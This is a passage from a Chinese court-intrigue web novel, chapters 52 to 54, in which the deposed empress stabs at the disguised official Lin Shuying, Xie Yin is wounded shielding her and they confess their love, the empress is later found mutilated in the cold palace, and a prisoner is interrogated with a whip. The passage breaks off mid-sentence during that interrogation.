“是,我心狠手辣就是为了不再被你比下去,你身子比我好,比我容易怀上孩子,还比我会讨皇帝欢心,皇帝都要被你迷住了,我若是不这样做,难道要等到你的儿子当上太子吗。”
曹氏红着眼吐出这些话。
得到了答案的孙氏嗤笑两声,年少时的好友一晃而散,只有她还停留在原地,捏着一丝当年的情分渴望这人还有些良知。
“你做得好!你做得真好!”
“你自小就爱嫉妒别人,现在你要去冷宫了,要知道,那里可是只有冷饭,只有破败,我诅咒你在嫉妒中死去,在痛苦中死去。”
说完,孙氏不再管在场的任何人,直接跨出坤宁宫。
小福子只得打着圆场,继续让手下的人把皇后宫里的首饰往外搬。
林疏影看着不远处愣神的人,走上前,“娘娘,你背后的人是不是曹家。”
她没有拐弯抹角。
因为她知道,眼下弯弯绕绕也没什么意义了。
“我刚才不都说了,是我嫉妒,所以才出此下策,林大人没听到吗?”
皇后拖着沙哑的嗓子开口,贵妃走后,她吊着的一口气似乎终于再也维持不下去。
现在看来,已经是憔悴不堪,毫无端庄可言,只剩下个苟延残喘的废后。
林疏影不禁叹气,只能把压在心下的“秘密”拿了出来,“你可知你喝了那么久的药,还是没见好,是为什么。”
此言一出,曹氏猛然抬头,眼睛里透露出不可置信得盯着林疏影。
“什么意思?”
那眼神带着濒死的挣扎,林疏影看着深不见底的眸子,有些恐惧,她只得错开眼,“你的汤药里也被加了那东西。”
曹氏闻言,她仰天大笑。
“都是报应!都是报应!”
她为了孩子,不惜堵上自己和曹家的一切,结果到头来,都是一场空?
不是她的肚子不争气,也不是她的身子太虚弱。
真是可笑,自以为算计了一切,结果呢,反被有心之人利用,把自己牵扯进去了。
“杜周负责拿药、煎煮,他是不是曹家安插在太医院的?”
林疏影看着近乎疯魔的人,压下了心里的情绪。
现在不是感性的时候。
“你知道吗,这些年,宫里的生活太无聊了,没有话本子有趣。”
曹氏摸着怀里的刀,冲林疏影露出无辜的笑来。
说是笑,还不如说是苦笑。
勉强扯出来的,难看极了。
所有的一切是这么荒唐,她费尽心思结局反倒是顺了他人的心思。
不过,现在她唯一能为父亲和曹家做得就是把这个人彻底杀死。
只有这样,才能保全曹家...
林疏影没头没脑地听着了话本,不知道那人在说什么。
但杜周嘴硬问不出什么,如果皇后能说出来,是再好不过的。
她组织着说辞,却被刀子反射的光闪了眼。
还没意识到是什么东西带起来的风时,脱鞘的刀子直冲她心脏扎去。
丝毫没有准备的林疏影措不及防,躲闪不及,她只能稍微移动,错开心脏的位置。
千钧一发之际,跟在林疏影身后的谢寅推开她,自己生生受了那一刀。
鲜血喷涌而出的时候。
所有的人都愣住了。
林疏影看到倒在地上的人,又转头看着拿着鲜血淋漓的刀的曹氏。
那小刀华贵极了,刀柄还镶嵌着非常稀有的宝石。
宝石与血色相映衬,别有一番美。
她一刻也没犹豫,直接上前夺下罪恶的刀,扔得老远,随后转身捧住谢寅。
慌乱致使她无法放松自己颤抖不止的手。
以至于她无法完成再简单不过的包扎。
“林疏影,想让你死的人多了去,没有我也会有其他人!”
曹氏被抢过刀之后,她脱力得倒在地上,恶狠狠地看着林疏影焦急的背影,慢慢地吐出这一整句话。
52. 第 52 章
这是林疏影第二次接近死亡的时刻。
第一次是看见躺在地上,吐出黑血的母亲,那时候她只能一味地哭泣。
现在,就是第二次,她看见谢寅被包扎起来的伤口里渗出血来。
谢寅脸色苍白,嘴边还有吐出的未擦除的血迹。
他看着林疏影慌张的神情,心里只剩下疼,微微抬起手,想抹去那人脸上的泪。
但抬起来的手一把被林疏影握住,非常用力地握着。
“你别死,齐大人马上就来了。”
她将谢寅的手放在脸的一侧,给足了自己安全感。
只要有谢寅在的地方,她就会觉得安心,但是这一次,她真真切切地感受到了这个人也是脆弱的。
那些之前在脑海里演练过千万遍的拒绝,到了生死关头全都成了泡影。
她闭上眼,清晰地感受着那人手掌上的温度。
此刻,她只想任性地随了自己的心愿,话本上都是有情人终成眷属,到了她这里为什么就不行。
谢寅已经为她做了那么多,不管是名满京城的臭名衔,还是前些日子挨的打。
放任这样的爱被无视,被流放,是可恨的,而她也不想再做这个罪人了。
对于谢寅,她隐藏的太多的爱,太多的小心思一下决堤,冲破了所有的束缚。
林疏影睁开眼,眼底的深意充满了爱意,眼眶里的泪水将她的眼睛弄得十分亮,又十分让人心疼。
“你别哭,我哪里会死。”
谢寅被握住的手有些僵硬了,他这才缓过神来,呆愣地感受着那人的爱意。
这一切,都是假象吧。
林疏影居然会爱他!?
也许是看到了谢寅脸上匆忙闪过的一丝疼痛,她赶忙把那人的手放下去,然后又检查了一遍伤口。
好在,已经结痂了,不再往外冒血了。
她心安了不少。
还未等林疏影说出那一句话时,齐大人到了。
齐怜生看着眼前的一片狼藉,十分意外。
谢寅虽然声名在外,但他还是有些实力的,不然也不会年纪轻轻就得到了皇帝如此的青睐。
但躺在地上虚弱的人是谁?
是谢寅?
他有些认不出来了,平日里那个威风凛凛,拽得无视礼法的人竟然这么狼狈地躺在了地上。
又看看那人身边的林疏影,这下他心里有了底。
真是用尽心思啊。
林疏影可是遇上个难缠的主了。
这下谢寅终于有理由缠上林疏影了,还是救命之恩呐,可不好糊弄。
“齐大人,你快看看,谢寅身上的伤有没有伤到内脏。”
林疏影余光里看见那人后,把刚才要说的话全部吞咽进肚子里,赶忙起身为齐大人让位置。
“好,我来看看。”
齐怜生不再随意猜测,上前就为谢寅查看伤口。
他一点一带你拨开被染红的布帛,打开药箱拿着工具为他清理衣服与伤口的交接位置。
谢寅看着眼前那张装模作样的脸,十分不爽。
这一刀,他可是找准了时机,为林疏影挡的,怎么最后是让这个人来给他处理?
干脆,他直接转过头,去看一边焦急等待的人。
刚才林疏影给他的感觉就是...
但是真的吗?
那感觉如羽毛一般拨乱了他的心,如果是真的,那他这一刀可值千金。
“刀没毒,伤口并不深,离心口近了些,不过没什么问题,只要好生养着。”
齐怜生同样不喜谢寅,但是他知道礼貌两个字是怎么写的。
哪怕再不喜欢,他也还是会敷衍一二,但看着受了伤一脸惨白的仍旧不给他一眼的人。
谢寅当真幼稚。
而后,顺着那幼稚极了的人的目光看过去,是林疏影。
看来,他的猜测十之八九。
听到了这句话后,林疏影终于稳住了动乱的心。
只要他还活着就好。
随后,她便交代一边赶来的长煊,“你把你家主子背回去吧,我等会儿就去找他。”
林疏影看向谢寅,随后收回目光,得到了长煊肯定的回答,她也不再犹豫,转身往瘫坐在地上的曹氏走去。
“皇后娘娘要灭我的口,为什么?”
问出来之后,林疏影不禁觉得自己问得十分可笑。
为什么,她把皇后所有的一切都夺走了,还在这里问为什么。
“你以为杀了我就没人往曹家那查了,未免太天真了些,皇上如今痛恨你毁了大夏基业,而这些药材和杜周都是你一个人能掌握的,未免太荒唐了些,就算你把一切都揽在你身上,单单是案件里还有许多说不通的地方,别提皇上的疑心了。”
简而言之,皇上早就想除掉士族了,恰好,你们非要在这个节骨眼上出来。
闻言皇后缓缓抬起头,她看着林疏影,眼神复杂。
“你以为,皇帝会对你多好?”
这句话给人听来,就是穷途末路的人对那个揭露自己所有罪恶的人的软绵绵的报复,没有任何攻击力。
林疏影皱眉,她没想到这个人竟然会说出这样的话来。
同样,她也摸不清这人的意图。
“娘娘操的心未免多了些,您还是随小福子去冷宫去吧。”
这个人嘴很硬,曾经身份又尊贵,不好审问,林疏影也没办法。
但是,还有杜周,只要用上酷刑,害怕这人不说实话?
“等到他用你查完所有真相之后,你就离被人替代不远了。”
曹氏跌跌撞撞地站起来,她眼神里全是漆黑,绝望,让人摸不清楚她的意图。
林疏影只当这人在不痛不痒地诅咒,自然没听进去。
她看着曹氏慢吞吞地走向小福子,心里也没什么波澜。
如今,恶人有恶报,算是一个小小的结束。
这么多天来,跟皇后周旋,被曹氏贬低、戏耍,都凝聚在这一刻的平淡。
长煊已经背着自己主子回了京城府邸。
林疏影看着周围萧条的场景,也不愿意多待,迈步就走。
门外有一个小丫鬟突然冒出来,吓了她一跳。
平复着有些惊慌的心情,她认出来,竟然是丽贵人。
“娘娘在这里可是来看皇后的?”
“对啊,看她笑话的,哈哈哈。”
那明朗的笑声瞬间勾起了林疏影的回忆。
在她的记忆深处,也有人有这样的笑容,而这笑容也总能让她在痛苦纠结时喘口气。
不知道公主在北边怎么样了。
林疏影下意识看向北方,却被一层又一层的墙壁挡住了视线,也只得落寞地收回目光。
“你有些伤心?”
丽贵人久居宫里,本来大大咧咧的心思也细密了不少,此刻她清楚地感受到了林疏影周身的惆怅。
“是在可惜曹氏?如果是这样,那就大可不必了,这个坏女人在后宫立了一些列规则,随意摆布我们这些没什么地位倚仗的嫔妃,我可是深受其害。”
随后,丽贵人便滔滔不绝地讲述着那人如何荼毒教训她们这些人。
“一天两次请安,时间一丝一毫也不能差,若是晚了、早了都得抄她立的破规矩,还有,皇帝若是在哪个宫里侍寝,次日就会被她叫来罚跪,美其名曰:教导,你可不知道,这个女人就是嫉妒疯了...”
秦真边说,边指着坤宁宫的牌匾骂骂咧咧的。
林疏影听了也觉得这个人心眼太小,好歹是一国之母,到底是被家族利益冲昏了头脑,忘记谁尊谁卑了。
而现在,曹家恐怕巴不得与废后剥除了关系,把所有的罪恶往一个人身上推。
总要抛弃小的,来保全大的。
皇后刚才所为,也都是为了保全曹家而已。
一个愿打,一个愿挨,她能说什么呢。
“娘娘,我还有事,先告退了。”
林疏影想起来还在等她的人,心下涌过一阵暖流。
“好,自此一别,不知道还能不能再见。”
丽贵人颇明媚的脸颊浮现出不舍,没有人比后宫里的人知晓城墙有多么不可逾越。
林疏影规规矩矩地行礼,便要走,但还是没忍住,说了一嘴,“娘娘好生养着身子,说不准还有可能。”
就像之前贵妃所说的,后宫里的人勾心斗角,除却争斗也没有什么,但若是有孩子相伴,是不是还好过一些,还有希望一些。
她转身看着未回话的人,半天那人勉强扯出一个笑来。
如果她能嫁入平凡人间,此时已经儿绕膝下,丈夫也会体贴不少,但都是幻想罢了。
她要是能做这样的梦,恐怕会开心好久。
林
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疏影刚想回头,就看见那人给自己挥手道别。
她怀着五味杂陈的心思,出了宫。
杜周、李嬷嬷都抓了,皇后也被打入了冷宫,凶手暂时落到了皇后,应该是废后头上,也算是结束了吧。
她迈着步子,极其慢地像是要丈量京城砖块的长度似地往前走。
每一步,她都在思索如何处理与谢寅之间的关系。
但每一个回答都是肯定。
待回到了谢寅的府邸后,她直奔那人的房间。
着急地不管不顾任何人的存在,直接破门而入,她喘着气终于见到了好好地躺在床榻之上的人。
他还活着,还没死...
“谢寅,我有话要对你说。”
林疏影喘匀了气,也下定了决心,她不想再隐藏自己的心事了。
“都下去。”
谢寅看着着急忙慌跑来的人,别提多高兴了,就连一边喂药的长煊都格外多余了。
他挥手让长煊和其他丫鬟退下。
此时此刻,两人看着彼此,空气中的灼热慢慢染上林疏影的脸颊。
她要坦白一切,要开诚布公,要眼前的这一个人,“你知道我父亲是谁么。”
“巴郡太守林行牧,他自私虚伪,只顾自己的官位,母亲被毒死他也不敢动作,生怕得罪了京城的权贵,被削去官职,他永远胆小懦弱,我也恨透了他的虚伪。”
“那日,你叫上我去抄了赵家,让我得以见到了凶手和真相,我感激不尽,若是没有你,我想要查到杀害母亲的凶手都难,不知道还要与那帮唯利是图的权贵周旋多少年。”
林疏影垂下眼,隐藏了所有的情绪,她把一切的一切娓娓道来。
谢寅帮她的她一直都记得,也不会忘记。
此时,谢寅撑起身子来,靠坐着,静静地看着林疏影。
他等这一刻很久很久了。
“我来京城,不过是为了找到凶手,但是这一切结束之后,我又不想回去了,我想把士族一窝端下去,想帮助陆大人清理出大夏中兴的障碍。”
林疏影一口气说完,也没敢抬起头来。
虽然她现在穿着男装,扮着男人,但到底还是脸皮薄一些。
久久未听见那人的回应,她有些尴尬,只得抬起头来,看着不远处的人。
“你听到了吗。”
“你想说什么。”
谢寅不急不缓地说,说了这么多,他就听到了四个字。
四个字就能说完的话说了这么一堆,真是...
问完后,他看着林疏影再次泛起红晕的脸颊,嘴边勾起一抹未察觉的笑意。
林疏影被问得找不到头脑,刚才回来的路上,她组织了好久的话终于算是全说出来了,但是这个人的问题她没想到过。
也不知道该怎么回答。
她不禁皱起眉头,抬眼就看见那人不怀好意的笑,当下有些窝火。
“刚才已经说完了。”
“那我替你说,你心悦我。”
此话一出,笑意爬上眉眼,谢寅丝毫不顾及林疏影一脸的红。
想让这个人主动来他怀里是不可能了,但是他可以抱佳人入怀。
他忍着伤口的疼痛,慢慢起身,鞋也顾不得穿,直接抱着了还有些拘谨的人。
“你的伤...”
林疏影就一下子没注意,就措不及防地被环抱住了。
她挣脱两下,想让那人躺回去,却被那人拽到了床上。
两人一起摔在床上,林疏影顾及着这人的伤口,忙扯开那人的衣服检查。
“怎么,是迫不及待了吗?”
既然知道这个人喜欢自己了,那有什么关系呢,终于可以放心来调侃,不用顾忌着两人之间的隔阂了。
“还好,伤口没裂开。”
林疏影检查好,一直吊着的心落了下来。
还好没事。
但下一刻,她想起身时,被谢寅紧紧搂住。
“你干什么,放开,我与青娥的姑娘不一样。”
林疏影皱眉,刚才没发觉,现在鼻尖都是那人的味道,她有些不适应。
“你要是跟她们一样,现在还不知道在哪呢。”
谢寅松开了手,他确实有些着急了。
林疏影抓住了时机赶紧逃脱出来,缓了口气。
“这一辈子,我也就只为你这么操心了。”
53. 第 53 章
皇后被打入冷宫后,后宫终于消停了一阵子。
但是总要有人来主持大局,凤印终究是落在了贵妃孙氏手上。
她与皇后一起进宫,在后宫待的时间长,见过的事情多,能打理好,加上表里如一的性格,算是大多数嫔妃支持的。
见惯了表里不一,表面仁慈,内里凶恶的废后曹氏之后,没有哪个人能一时间接受一个同样的人。
而贵妃算是合了大多数人的心思。
但是贵妃自拿到凤印之后,每每夜里睡不好。
她时常梦见儿时的自己和曹氏一起比较的场景,不管是弹琴还是女红。
刚开始还是按着儿时的记忆进行的,但越往后,越接近最后的成果或者揭晓胜者时,曹氏总会变成一个张着血盆大口的怪物。
梦进行到这时,孙氏就会猛然从噩梦中挣脱出来。
每次都是浸满了后背的冷汗和喘不够的空气。
终于,在连续三天做了这样的噩梦之后,她没了耐心,打算去见一见自己的这位“心魔”。
说起来,她和曹氏之间的情谊,大概只有儿时被人拿来相互比较,两人相互看不起对方,然后拼了命地要赢下对方,以夺得京城第一贵女的称号了。
现在回想起这样的经历,孙氏不禁要嗤笑自己一会儿。
那时候可真是心高气傲的很,总要争一争。
然而,她又想到自己当下的一切,更是自嘲,难道她现在没有争没有抢?
她现在拥有的一切,就算不是她自己争抢来的,那也与她背后的孙家息息相关。
若不是父亲担任兵部尚书,若不是孙家的势力连皇帝也要忌惮,她也不会被奉上尊位,与皇帝相敬如宾了这么些年。
但是就算是她不抢,那曹氏为了一己私欲,抢夺了后宫几乎所有嫔妃的生育,连她也没放过啊。
曹家这是要把所有京城士族都得罪了。
孙氏昨夜被梦魇缠身,起身时不情不愿,也没什么胃口,好歹用过早膳,就梳洗打扮,要见一见自己“日思夜想”的人了。
如今,曹氏被贬冷宫,昔日的荣耀顷刻消散,没有她这个自小的对手不懂的落寞。
就算是她穿着朴素地去看一看,和这人说一说话,这人都会觉得自己是看笑话去的。
想到这里,孙氏不禁笑出声,随后便冲身后的丫鬟吩咐道,“去御膳房拿些刚做出来的糕点,装在篮子里,小心些。”
“是。”
春红看着娘娘一脸的笑意,没敢多嘴,按照吩咐做了。
她提着一篮子上好的糕点随贵妃往偏僻处走去,越走越深,越走越阴森。
“娘娘,咱们这是要去看皇后娘娘吗,要不要带些侍卫啊...”
春红被周围久未被打理的环境和时不时发出的怪音吓得不轻。
她畏畏缩缩地躲在贵妃身后,发抖得手轻轻抓住自家娘娘的衣服,眼神还时不时看着四周,生怕有人突然冒出来索了自己的命。
孙氏也有些怕的,但是都走到了这里,再折返回去还是有些太麻烦了。
一连三日的梦魇也早就淬炼了她的心神,这点阴森还不能完全动摇她的决心。
“你看你那胆小的样子,做亏心事了?”
孙氏打小就没做过什么对不起别人的事情,父亲总将她保护得很好,以至于她幼时,所有的小玩意都是府外送来的,与曹氏一比高下之前,她连孙府都没出去过。
周围的下人也是孙尚书精心挑选出来的,完全不会出先误导孙氏,挑唆孙氏的事情出现。
在这样的环境下成长的孙氏,童年十分完整,母亲也不会逼着她学女红,学弹琴,学礼仪。
以至于,孙氏心底里的善良永远挥之不去,即便是进宫了,除去多了些跋扈,也没与其他宫里的娘娘闹过什么大矛盾,不过是各退一步,各自安好。
而孙氏也坚信,只要自己的心地是好的,拿着这样的好心真诚地对他人,别人也就会返还回来一颗真心。
这句话被她奉为经典很多年,但是皇后是例外。
她怨恨曹氏,不仅仅是那人将她拥有孩子的权力剥夺了,还有对这个人本质的厌恶。
儿时,尚且在闺中的两人之间的比试还没到针锋相对的地步,但是自从进宫之后,她能明显地感受到了曹氏对她的防备与芥蒂。
自己本也一片真心相待,换来的确实这样一番毒害。
一时间,她有些转换不过来,儿时的记忆尚且在脑海中不停回放,陪伴着她渡过深宫的孤独,但是新的记忆闯入进来,告诉她儿时的对手到了现在是个刽子手,是要杀死所有孩子的刽子手。
她自然不肯信,但确是事实。
所以,在小福子拿着皇帝手谕给皇后降罪时,她闯入了坤宁宫,她想要一个真相,想要一个原因。
为什么要把后宫所有的人都搭上,为什么这么狠心...
那个坐在高位上的人见到她的一刹那,忽然没了神采,一脸阴翳怎么也散不去了。
她愣愣地看着那个活死人一般的曾经的对手,曾经那个大放光彩的人。
大相径庭地两个人,只不过是时间的流逝所产生的。
在听到了那句真切的答案之后,她不敢相信,但是不得不信,眼前这个人本来就是一个自私自利,为了争取自己利益,为了曹家而不择手段的人。
这也是她终于认识到了自己的“傻”的第一次。
深宫之中,无时无刻不牵扯着利益的争夺,她一直傻傻地珍惜这个儿时的对手,以为还能光明正大地决斗。
没成想,自己从一开始,从一进宫,从喝下那一碗药之后,就已经输了。
好不容易劝诫自己接受了残酷的事实,又遇上了梦魇。
孙氏嗤笑两声,硬生生将身后的人儿拉扯出来,“春红,你害怕什么,后宫还会有刺客不成?”
“娘娘,这里真的很可怕的,你听,好像有人求饶,还有哭声...”
春红的话音里夹杂着颤抖,她缩着脖子,将装着糕点的篮子捧在了怀里,一只手还想拉住孙氏的手,想要找些依靠。
孙氏见她怕得很,也没再讲什么尊卑之别,如愿让她拉着了。
主仆人两人一直走着,慢慢地,脚下多了无人打扫的落叶和墙壁上垂下来的藤曼。
前日还下了雨,脚底下的绿色格外清新,也沾染不少泥泞,不一会儿,绿色和泥巴缠上裙摆,无声无息地彰显着两人的到来。
“为何没人来处理这些东西。”
孙氏皱着眉,她本不是特别计较的人,但是此刻脚底一片软塌塌的,她心里不舒服地很。
但是看到不远处隐约的门,还是把心里的不适忍了下去。
“春红不知道,春红只知道咱们宫里的事。”
春红舔着脸回道。
孙氏听着这话,一整个气笑了,就连她也知道自己宫里的。
她又回头看看拉着自己胳膊的小丫鬟,摇了摇头,叹气,腹诽着,‘究竟是她自己的傻丫鬟,那能怎么办呢。’
两人到了地方,迎上了守卫,那人还算有眼力劲,先行了礼。
孙氏示意春红拿出来孝敬的东西。
侍卫收下,没多说话,也没多问,直接就拿出钥匙来给开门。
孙氏见这人如此爽快,一时间有些蒙。
她整理了一下自己的袖子,抬眼冲那侍卫会心一笑,算是答谢了。
现在冷宫里只有皇后一个人,先帝的妃子除去太后其余不剩多少了,冷宫里的也早早离世。
主仆二人跨过被磨破了红漆的门槛,小心地看着里面的一片苍凉。
若说刚才的来时路有些难走,有些让人害怕,那屋子里的一切,可是阴森至极。
周围飘来的腐木的气味,让孙氏不禁拿出来帕子掩住口鼻。
身为丫鬟的春红一时间也适应不了无人打理、绿草疯长、气味刺鼻的冷宫,拿着自己的袖口遮住口鼻。
两人好歹找到了曹氏的住处。
但门外却躺着一个人。
孙氏打量着周围的环境,慢慢靠近了屋子。
她找人打听了,皇后就是在这里。
门外的就是李嬷嬷,话说,这主仆之间的情谊还真是让人敬佩,哪怕是冷宫这鬼地方,废后身边还有如此忠心耿耿的人。
看着李嬷嬷半靠在门前,闭着眼,一脸憔悴疲惫,苍白的唇足以知晓,这两人在冷宫过的几日有
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多么艰难。
春红得了孙氏示意,上前摇醒那人。
贵妃则结果春红手里得篮子,拿出一块糕点来,顿时香味铺散开来,与周围有些腐臭地气味相互对抗。
一时间香味与臭味一起冲进孙氏的鼻子里。
她屏住了呼吸,站起身,又大呼一口气,再次蹲下来,拿着糕点靠近李嬷嬷。
摇了半天的春红终于发现了不对,谁会睡得这么死,而且还是在门外。
当即,她就把手指搭在了李嬷嬷鼻子之下,探着呼吸。
她的眉头皱了又皱,脸色难看得可以。
“娘娘,李嬷嬷她...死了。”
此话一出,孙氏没拿稳糕点,直接掉到李嬷嬷身上,还落了人家一身的渣。
她忙起身向后退了几步,抱紧了篮子。
如果李嬷嬷已经...死了,那废后呢。
孙氏脑海里飞速转过,她咽下一口唾沫,慢慢地越过躺在地上的人,走上台阶,推开那扇门。
“吱呀”一声。
门被从外面推开,屋子里的人被外面的强光刺着了眼,不得已拿手遮挡。
“皇后,你还好吗?”
贵妃看着眼前的一身白衣坐在地上的人,那人为遮挡光线,竟然用袖子把脸遮得完全。
屋子里除却废后在的地方,其余的全是灰尘,房梁上和墙角里蜘蛛网密布。
看得人心里直哆嗦。
她一步一步地,往前走。
但躲在袖子后面的曹氏确是再也不肯拿开,她支支吾吾地,身子也往后退。
白衣服沾染了厚厚的尘土,她一点儿也不在乎在这个曾经的敌人跟前的形象了。
“你知道李嬷嬷死了吗,是不是有人害你,你把袖子拿下给我说句话,好不好,也算是看在咱们两人过去的情分上,好吗?”
孙氏没停下脚下的步伐,说罢还示意春红上前。
春红与孙氏的脚步交叠,曹氏听地不真切,眼前都是白色的布帛,她也看得不真切。
但隐约能听到孙氏头上的首饰一下一下地晃。
以至于,她被春红直接扯下了袖子,才意识到春红已经离她如此近了。
那一瞬间,孙氏的梦境里的那个满口血的人与现在她眼里的这个人完全重合。
她踉跄一下,险些往后倒去。
春红则是直接尖叫出声,摔在了曹氏跟前。
“你被拔了舌头,你...”
孙氏稳下心神,她战战兢兢地冲眼前的人开口道。
只见那人点点头,时不时用袖子遮挡自己满是血的嘴。
她像是被掀开了遮羞布一样,憋了满脸的红和满脸的羞愧。
那个曾经绽放在京城的第一贵女,如今成了冷宫里被人扯去舌头的废人。
谁能想到,这两个人是一个人呢。
一时间,孙氏不知道是该向眼前自己的梦魇讨伐还是感慨这个曾经的才女的陨落。
“有人要害你,是怕你出卖曹家?”
孙氏往前走,现在的废后毫无威胁,也不用再忌惮,现在也就只剩下吓唬人这一个用途了。
但是她不能也同春红一样惧怕眼前的人。
她扶起来在地上紧闭双眼的春红,又把篮子递过去。
那人见状,也不再往后退,刻意地将袖子遮挡住满是血的嘴,露出一双失神的眼睛来。
曹氏摇摇头。
“都什么时候了,你还要维护你所为家族的利益?你已经被她们抛弃了!”
孙氏顿时火气上来。
她知道这人曾经的辉煌也见了这人现在的落魄。
怎的,曹飞燕就是不明白呢。
随后曹氏又摇摇头,这次她不是在为曹家,而是真的不知道。
她甚至都没有看清到底是谁把自己的舌头拔下来了。
本想张口把自己的话说出来,但是她发不出声音了。
只有些断断续续地如哭声一样的刺耳的声音。
孙氏眼底已经有了一些酸涩,她看着曹氏一点一点地把不知道三个字写出来。
酝酿了许久的质问再也说不出口,只留下一句,“我去求皇上,给你一个公道。”
54. 第 54 章
林疏影被皇帝从翰林院叫过去,是有些疑惑的。
皇后所作一事已经有了结局,难不成是她哪里没做好,被底下的人挑了错处?
现在谢寅勉强能拖着身子上朝了,不过也是当作陆大人摆弄的一个吉祥物,用来表明立场和那些士族掣肘而已。
他也很乐意自己能蒙混过去,也不用整日埋头在烦乱的公务里。
不知道皇帝会不会把谢寅也叫过去。
林疏影刚应下了小福子的话,犹犹豫豫地不想走,就这样撞上了初次来翰林院时叫嚣的曹大少爷。
“怎的,又将这些工作交给我们,你若是没意向在这里,大可以把你的位子让出来。”
曹大少爷碍着小福子在一边,没提自己姐姐的事,但他曹家因为这个人整日提心吊胆,就连姐姐也被这个人送进了冷宫,他怎能不恨。
但同时他又有很大的无能为力,自己也只不过是个翰林修撰而已,手里没什么权力,不能庇护姐姐就算了,还不知道什么时候才能熬出头。
反观林疏影这个人,就因为那一次的机会,得到了皇帝的青睐,他到底有些羡慕。
“曹大公子这是觉得皇上给林大人的职位欠妥还是觉得皇上此等行为是不顾翰林院其他人了?”
小福子连眼也没抬,转身领着林疏影就往前走。
这一闹,林疏影夹在中间,不走也得走,进也不是,退也不是。
她只好回头看看一脸怒意的曹大公子,再给他做个鬼脸,看到那人攥紧的拳头和憋红的脸时,这才满意地转过头去。
一路上,林疏影几次都想从小福子这里问出些什么,但那人死不开口,含含糊糊地糊弄着她。
最后,一直到乾清宫,她只能揣着一颗摇摆不定的心迈进去。
行完礼,得到了皇帝的回应后,她起身,发现身边站着一个红色衣服的人。
不用想她也知道,京城里只有一个人将红衣穿得这么好看。
谢寅先是歪头冲她一笑,随后将刚才的事情全都小声讲给林疏影听了。
皇帝在高位上,面色不佳。
“皇上,不瞒您说,这次废后遇害,属下认为多半是曹家所为。”
给林疏影交代完事情缘由后,他不经意间地将这整个人看了一遍,才开始分析起来,但还是提到了那古怪的汤药,“只是,皇后和曹家明明是幕后主使,但就连她自己也不知道,自己喝的东西也是...”
“倒是奇怪了,朕也好奇得很,到底是谁敢把手伸进后宫,把主意打到本朝根基头上!”
李昭朔闻言,把手里的书使劲往桌子上一拍,颇有些震怒。
他原先只当是皇后与曹家所为,但现在他越来越看不清到底是谁在装神弄鬼了。
这事一出,所有涉及此事的太医院的属官都被斩了,除却杜周这个把柄。
甚至连那个苏陈正都被牵连在内,直接下降了一个品阶,接替了杜周的工作,融入进正可怜自己的才华不得重用得回忆往昔。
他甚至换走了服侍自己一半的宫女。
说不准,下一个就算计到他头上了。
“皇上息怒,这次曹家应是不知道废后也喝了那些东西,就算是曹家害怕被废后出卖,为何要将李嬷嬷杀害,直接把她们毒哑不是更好,更不容易被发现?”
林疏影将目光投向皇帝,她丝毫不惧,一字一句铿锵有力。
这一次,她和谢寅持不同意见。
“你认为,有几个人会往冷宫跑,这次贵妃前往,全是凭着一心的良善。”
谢寅也不恼,他刚才已经江清楚自己的观点了,现在他只需要挨个反驳林疏影提出来的论据了。
“好了,到底是不是曹家所为你们俩人到下面争论去,朕现在只想将那古怪的汤药的主使人揪出来,你们看着办。”
此话一出,林疏影与谢寅当下了解了皇帝的意思。
他不在乎到底是谁拔了废后的舌头,也不管是谁要害死李嬷嬷,他要的是整垮曹家。
如此,才能平息他心中之恨。
两人对视一眼,十分默契地冲彼此点头,而后退下去了。
“现在只剩下一个人了,我让长煊一直盯着那人。”
“杜周?他到底是谁的人,你可知晓。”
林疏影在阳光之下伸了个懒腰,顺带打了个哈欠。
这些日子,她白日里处理公务,晚上就得给这人换药,时不时还要被调侃两次。
真是心累。
不过,这些日子过去了,哪怕是上了些刑,但杜周那里还是没问出什么来。
她有些预感,杜周好像在等什么人。
之于这个人到底有什么算盘,林疏影绞尽脑汁也想不出来。
“不知道,不如咱俩去审问一番。”
谢寅将胳膊靠在脑后,转过头,看着林疏影,露出一抹恣意的笑来。
还是熟悉的不着调。
现在两人的关系完全被点破了,能见到彼此真心的笑脸,好一番不容易。
谢寅颇有些骄傲,他可是费劲九牛二虎之力才将这人赢来的。
“可以。”
林疏影也不想就这么回了翰林院,回去了说不准还要被那曹大公子挑错,真是恼人的很。
这几日,她已经见识到了曹家公子的“狠厉”之处,佩服不已。
虽然实际上就是些不痛不痒的嘲讽,毕竟皇后倒台,曹家没了这么个倚仗,又要因为汤药的事情被查,还不敢有什么大动作,曹大公子还是不傻的,他也不敢真的叫嚣什么。
但是林疏影真的烦,本来工作就多,还要被这么人来扰了清净。
两人就这样并肩去了关押杜周的牢笼。
昏暗的光线勉强能够混合起来火把的光亮,照亮大牢不平整的路。
长煊穿着一身牢里侍卫的衣服,站在关押杜周不远处的地方,随时待命。
一个侍卫见了两人,忙给打开重重的锁,低头哈腰地清两人进去。
牢房里面,杜周被绑在十字架上,动也动不得。
周围一股子发霉的味道,老鼠不断地光顾绑着人的十字架,十分快乐地吱吱叫。
十字架上的人破衣烂衫,身上伤口遍布,血色与黑色混作一快,污浊不堪。
林疏影看见架子上那人,有些意外,也有些惊讶。
“你背后到底是谁?”
她直直得看向那人,初次见面时,这人尚且披着一身人畜无害的伪装,现在就只剩下凶恶的眼神了。
她也不怕,与那人对视。
良久杜周都没说话,他侧过头,嗤笑一声,随后歪过头来,冲林疏影吐了一口唾沫。
谢寅眼疾手快,将林疏影拽过去。
林疏影也是措不及防,任凭那人拉拽,直接撞到了谢寅坚实的怀里,鼻间也都是熟悉的味道,让人十分安心。
“怎么,是欺负林大人是君子,不对你动手吗?”
谢寅放开林疏影,向一边放刑具的架子走去,他见过刑讯逼问的不少,也这样审问过不少穷凶极恶的人。
他拿下鞭子,攥紧了直接打过去。
“我可不是什么好人,你也不过是一条被放养的狗而已,等你的利用价值没有了,你以为那些人还会留着你?倒不如趁现在都说了,我能给你个好去处。”
打了一下,就要给个好处来诱惑一下,这样那人将所有原委全盘托出的概率更大。
谢寅嘴角勾起一抹邪恶的笑,他其实没指望一鞭子打出什么来。
他还有的是办法。
“如果,你刚才不拽林疏影,我估计都说出来了,这个条件确实很诱人。”
说着,杜周故作玄虚地舔了一下嘴边的血。
他盯着谢寅身后的林疏影,眼里满是恨意与说不清的东西。
谢寅也不恼,他将鞭子递给林疏影,“你来试试,我还没见过你耍这个呢。”
站在一边将汤药这一整件事从头到尾想了一遍的林疏影闻言,有些没反应过来,她下意识接过鞭子。
说实话,她没怎么练过,但好在手臂上还是有些力量的,耍这些不在话下,到底有些欠缺。
力气太小了。
“怎么,林大人的鞭子软绵绵的,跟女人似的,这么一看,林大人,您不是女儿身,我都替你可惜了。”
此话
